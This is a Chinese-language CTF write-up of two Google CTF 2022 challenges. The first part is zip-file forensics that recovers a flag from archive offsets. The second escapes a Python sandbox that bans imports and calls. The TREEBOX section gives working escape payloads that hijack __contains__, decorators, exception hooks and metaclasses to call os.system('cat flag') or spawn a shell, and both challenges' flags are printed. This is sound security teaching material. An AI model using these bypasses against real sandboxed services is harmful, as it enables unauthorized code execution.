GoogleCTF2022 Writeup

APPNOTE.TXT

Every single archive manager unpacks this to a different file...

Attachment


解压下载得到的文件dump.zip,得到hello.txt: There's more to it than meets the eye...

猜测可能有隐藏文件,用binwalk分析:

  • 文件名从flag00.zipflag18.zip
  • 每个文件名出现36次
~$ binwalk dump.zip

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             Zip archive data, v0.0 compressed size: 41, uncompressed size: 41, name: hello.txt
135           0x87            Zip archive data, v0.0 compressed size: 33, uncompressed size: 33, name: hi.txt
256           0x100           Zip archive data, v0.0 compressed size: 1, uncompressed size: 1, name: flag00
345           0x159           Zip archive data, v0.0 compressed size: 1, uncompressed size: 1, name: flag00
434           0x1B2           Zip archive data, v0.0 compressed size: 1, uncompressed size: 1, name: flag00
523           0x20B           Zip archive data, v0.0 compressed size: 1, uncompressed size: 1, name: flag00
612           0x264           Zip archive data, v0.0 compressed size: 1, uncompressed size: 1, name: flag00
...
60598         0xECB6          Zip archive data, v0.0 compressed size: 1, uncompressed size: 1, name: flag18
60687         0xED0F          Zip archive data, v0.0 compressed size: 1, uncompressed size: 1, name: flag18
60776         0xED68          Zip archive data, v0.0 compressed size: 1, uncompressed size: 1, name: flag18
60865         0xEDC1          Zip archive data, v0.0 compressed size: 1, uncompressed size: 1, name: flag18
60954         0xEE1A          Zip archive data, v0.0 compressed size: 1, uncompressed size: 1, name: flag18
61043         0xEE73          Zip archive data, v0.0 compressed size: 1, uncompressed size: 1, name: flag18
61572         0xF084          End of Zip archive, footer length: 22

使用stringshexdump分析,发现:

  • 包含文件hi.txt: Find a needle in the haystack...
  • 猜测flag的长度为18,每组flagXX表示了flag中的一个字符
  • dump出来任意一组flagXX,得到flag的字母表abcdefghijklmnopqrstuvwxyz{CTF0137}_
  • 已知flag格式为CTF{...}
~$ strings dump.zip
V~uK)
hello.txtThere's more to it than meets the eye...
V~uK)
hello.txtPK
hi.txtFind a needle in the haystack...
hi.txtPK
flag00aPK
flag00PK
flag00bPK
flag00PK
flag00cPK
flag00PK
flag00dPK
flag00PK
flag00ePK
......
flag18PK
flag181PK
flag18PK
flag183PK
flag18PK
flag187PK
flag18PK
flag18}PK
flag18PK
flag18_PK
flag18PK
~$ hexdump -C dump.zip | head -n 30
00000000  50 4b 03 04 00 00 00 00  00 00 00 00 00 00 56 7e  |PK............V~|
00000010  75 4b 29 00 00 00 29 00  00 00 09 00 00 00 68 65  |uK)...).......he|
00000020  6c 6c 6f 2e 74 78 74 54  68 65 72 65 27 73 20 6d  |llo.txtThere's m|
00000030  6f 72 65 20 74 6f 20 69  74 20 74 68 61 6e 20 6d  |ore to it than m|
00000040  65 65 74 73 20 74 68 65  20 65 79 65 2e 2e 2e 0a  |eets the eye....|
00000050  50 4b 01 02 00 00 00 00  00 00 00 00 00 00 00 00  |PK..............|
00000060  56 7e 75 4b 29 00 00 00  29 00 00 00 09 00 00 00  |V~uK)...).......|
00000070  fd ef 00 00 00 00 00 00  00 00 00 00 00 00 68 65  |..............he|
00000080  6c 6c 6f 2e 74 78 74 50  4b 03 04 00 00 00 00 00  |llo.txtPK.......|
00000090  00 00 00 00 00 9a 15 62  e9 21 00 00 00 21 00 00  |.......b.!...!..|
000000a0  00 06 00 00 00 68 69 2e  74 78 74 46 69 6e 64 20  |.....hi.txtFind |
000000b0  61 20 6e 65 65 64 6c 65  20 69 6e 20 74 68 65 20  |a needle in the |
000000c0  68 61 79 73 74 61 63 6b  2e 2e 2e 0a 50 4b 01 02  |haystack....PK..|
000000d0  00 00 00 00 00 00 00 00  00 00 00 00 9a 15 62 e9  |..............b.|
000000e0  21 00 00 00 21 00 00 00  06 00 00 00 84 ef 00 00  |!...!...........|
000000f0  00 00 00 00 00 00 87 00  00 00 68 69 2e 74 78 74  |..........hi.txt|
00000100  50 4b 03 04 00 00 00 00  00 00 00 00 00 00 43 be  |PK............C.|
00000110  b7 e8 01 00 00 00 01 00  00 00 06 00 00 00 66 6c  |..............fl|
00000120  61 67 30 30 61 50 4b 01  02 00 00 00 00 00 00 00  |ag00aPK.........|
00000130  00 00 00 00 00 43 be b7  e8 01 00 00 00 01 00 00  |.....C..........|
00000140  00 06 00 00 00 2b ef 00  00 00 00 00 00 00 00 00  |.....+..........|
00000150  01 00 00 66 6c 61 67 30  30 50 4b 03 04 00 00 00  |...flag00PK.....|
00000160  00 00 00 00 00 00 00 f9  ef be 71 01 00 00 00 01  |..........q.....|
00000170  00 00 00 06 00 00 00 66  6c 61 67 30 30 62 50 4b  |.......flag00bPK|
00000180  01 02 00 00 00 00 00 00  00 00 00 00 00 00 f9 ef  |................|
00000190  be 71 01 00 00 00 01 00  00 00 06 00 00 00 d2 ee  |.q..............|
000001a0  00 00 00 00 00 00 00 00  59 01 00 00 66 6c 61 67  |........Y...flag|
000001b0  30 30 50 4b 03 04 00 00  00 00 00 00 00 00 00 00  |00PK............|
000001c0  6f df b9 06 01 00 00 00  01 00 00 00 06 00 00 00  |o...............|
000001d0  66 6c 61 67 30 30 63 50  4b 01 02 00 00 00 00 00  |flag00cPK.......|

参照ZIP文件格式,按照504B0304504B0102504B0506分隔dump.zip十六进制表示形式,分析发现:

  • hello.txthi.txt一共占用256字节
  • flagXX的文件实体为37字节、目录源数据为52字节
  • 每组flagXX共占用(37 + 53) * 36字节

B04B0506

发现结尾多了18个目录数据源结束标识,猜测可能以此还原文件,以flag00为例:

目录源数据的开始位置偏移为0x880A0000,用小端表示为0x00000A88(2696),减去hello.txthi.txt的256字节,减去第一个文件实体的37字节,然后除以(37+52)得到27,指向flag00这一组的第27个文件实体(从0开始),即字符C.基于flag的格式以C开头,大胆猜测这就是正确答案.

剩下的过程与之类似,可以使用脚本简化:

data = """\
880A0000
65170000
42240000
BB2F0000
6C380000
274A0000
7F520000
3A640000
71690000
377C0000
587F0000
F1950000
3E9D0000
5EA80000
88BC0000
92C50000
2CD40000
20DB0000
3FEE0000
""".split()
print(len(data))

CHOICES = 'abcdefghijklmnopqrstuvwxyz{CTF0137}_'
ans = list()

def conv(s):
      # 大端转小端
    a = [s[2 * i:2 * (i + 1)] for i in range(len(s) // 2)]
    a.reverse()
    return ''.join(a)

for i,item in enumerate(data):
    t = int(conv(item), 16) - 256 - 37
    tt = t // (37 + 52)
    ttt = tt - 36 * i
    ans.append(CHOICES[ttt])
    print(''.join(ans))

flag:CTF{p0s7m0d3rn_z1p}

参考

TREEBOX

I think I finally got Python sandboxing right.

Attachment treebox.2022.ctfcompetition.com 1337


treebox.py
#!/usr/bin/python3 -u
#
# Flag is in a file called "flag" in cwd.
#
# Quote from Dockerfile:
#   FROM ubuntu:22.04
#   RUN apt-get update && apt-get install -y python3
#
import ast
import sys
import os

def verify_secure(m):
  for x in ast.walk(m):
    match type(x):
      case (ast.Import|ast.ImportFrom|ast.Call):
        print(f"ERROR: Banned statement {x}")
        return False
  return True

abspath = os.path.abspath(__file__)
dname = os.path.dirname(abspath)
os.chdir(dname)

print("-- Please enter code (last line must contain only --END)")
source_code = ""
while True:
  line = sys.stdin.readline()
  if line.startswith("--END"):
    break
  source_code += line

tree = compile(source_code, "input.py", 'exec', flags=ast.PyCF_ONLY_AST)
if verify_secure(tree):  # Safe to execute!
  print("-- Executing safe code:")
  compiled = compile(source_code, "input.py", 'exec')
  exec(compiled)

阅读源码,可以发现:

  • flag在当前工作目录下一个名为flag的文件
  • 我们可以通过exec执行任意代码,但必须通过verify_secure函数的检查
  • verify_secure使用ast模块进行分析,不能有显式的函数调用和导入语句
  • ossys模块可用

思路:

  • os模块已经导入,我们可以通过os.system()方法来执行系统命令
  • 借助于Python机制,通过非显式的方式地来调用函数,如内置函数、重载运算符、解释器Hook

我的解法:

在python中使用in运算符时,默认会调用__contains__方法,并且会将需要判断的对象作为形参传入;

所以我们可以用os.system覆盖现有的python对象/类上的__contains__方法,然后通过运算符来调用system函数.

os.environ.__class__.__contains__ = os.system
'cat flag' in os.environ

其他解法:

  1. 装饰器

    @exec
    @input
    class X:
      pass
    
  2. 异常

    class MyException(Exception):
      def __str__(self):
        return 'cat flag'
    
    sys.stdout.write=os.system
    sys.stderr.write=os.system
    
    raise MyException   
    
    class X:
        def __init__(self, a, b, c):
            self += "os.system('sh')"
        __iadd__ = exec
    sys.excepthook = X
    1/0
    
  3. 元类

    # This will define the members on the "sub"class
    class Metaclass:
        __getitem__ = exec # So Sub[string] will execute exec(string)
    # Note: Metaclass.__class__ == type
        
    class Sub(metaclass=Metaclass): # That's how we make Sub.__class__ == Metaclass
        pass # Nothing special to do
    
    assert isinstance(Sub, Metaclass)
    sub['import os; os.system("sh")']
    

其他Writeup

flag:CTF{CzeresniaTopolaForsycja}

您的支持是我继续创作最大的动力!

欢迎关注我的其它发布渠道